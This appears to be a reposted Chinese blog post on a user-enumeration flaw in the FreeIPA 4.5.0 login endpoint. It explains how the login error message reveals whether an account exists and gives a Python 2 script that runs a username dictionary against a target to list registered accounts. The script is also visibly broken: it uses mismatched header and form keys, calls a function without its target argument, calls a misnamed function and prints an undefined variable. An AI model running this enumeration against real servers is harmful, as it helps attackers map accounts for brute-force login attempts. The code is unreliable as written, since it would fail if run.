freeipa未授权遍历注册账户漏洞

一、freeipa简介:

freeipa是一款集成的安全信息管理解决方案。freeipa包含Linux (Fedora),389 Directory Server MIT Kerberos, NTP, DNS, Dogtag (Certificate System)等等身份,认证和策略功能。freeipa还集成了ldap+Kerberos(Kerberos 认证原理不多说,简单的说就是在身份认证的时候不传输密码,而是在传输票据,更加安全可靠)+web管理的集中式用户认证管理系统(系统级别的sso,可以对apache,ftp,nfs,ldap,smtp ,ssh做身份认证。但是对samba 的身份认证不支持。samba貌似只支持AD),同时还可以与微软的AD进行用户信息的同步。

二、freeip漏洞环境:

1、版本:4.5.0

2、漏洞点(URL):https://target_ip/ipa/session/login_password

3、漏洞原理:登录页面对于用户名字段的验证存在查库行为,user是否在库中的结果信息反回到了前端。

4、登录需求:不需要登录。

三、漏洞验证

第一张图验证不存在的账户

第二张图验证存在的账户

可以写一个脚本来跑出所有注册用户:

 1  -*- coding:utf-8 -*-
 2 '''
 3 freeipa注册账户描爆破测试脚本
 4 freeipa版本 4.5.0
 5 '''
 6 
 7 #引入包文件:
 8 import sys
 9 import time
10 import requests
11 
12 #全局变量定义:
13 header_struct = {
14     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0",
15     "Referer": "https://%s/ipa/ui/",
16     "X-Requested-With": "XMLHttpRequest",
17 }
18 
19 post_data = {"user":"","password":"just so so"}
20 username_dict = "./username.txt"
21 username_list = []
22 
23 #全局函数定义:
24 def username_list_init_from_file():
25     """从用户名字典文件中获取用户名"""
26     with open(username_dict,"r") as fr:
27         for line in fr.readlines():
28             line = line.split("
")[0].split("
")[0]
29             username_list.append(line)
30 
31 def send_crack_packet(username,target):
32     """发送爆破登录请求报文"""
33     global post_data
34     global header_struct
35     url = "https://%s/ipa/session/login_password"%str(target)
36     header_struct["referer"] = header_struct["referer"]%str(target)
37     post_data["username"] = username
38     try:
39         response = requests.post(url,headers=header_struct,data=post_data,verify=False)
40     except Exception,ex:
41         print ex
42         return False
43     if response.content.find("Password incorrect while getting initial credentials") >= 0:
44         return True
45     else:
46         return False
47 
48 def crack(target):
49     """遍历用户名字典,尝试破解"""
50     for user in username_list:
51         if send_crack_packet(user):
52             print "Cracked!"
53             print "Find a register user! Username:",pswd
54 
55 if __name__ == "__main__":
56     target = sys.argv[1]
57     user_list_init_from_file()
58     crack(target)
原文地址:https://www.cnblogs.com/KevinGeorge/p/8427882.html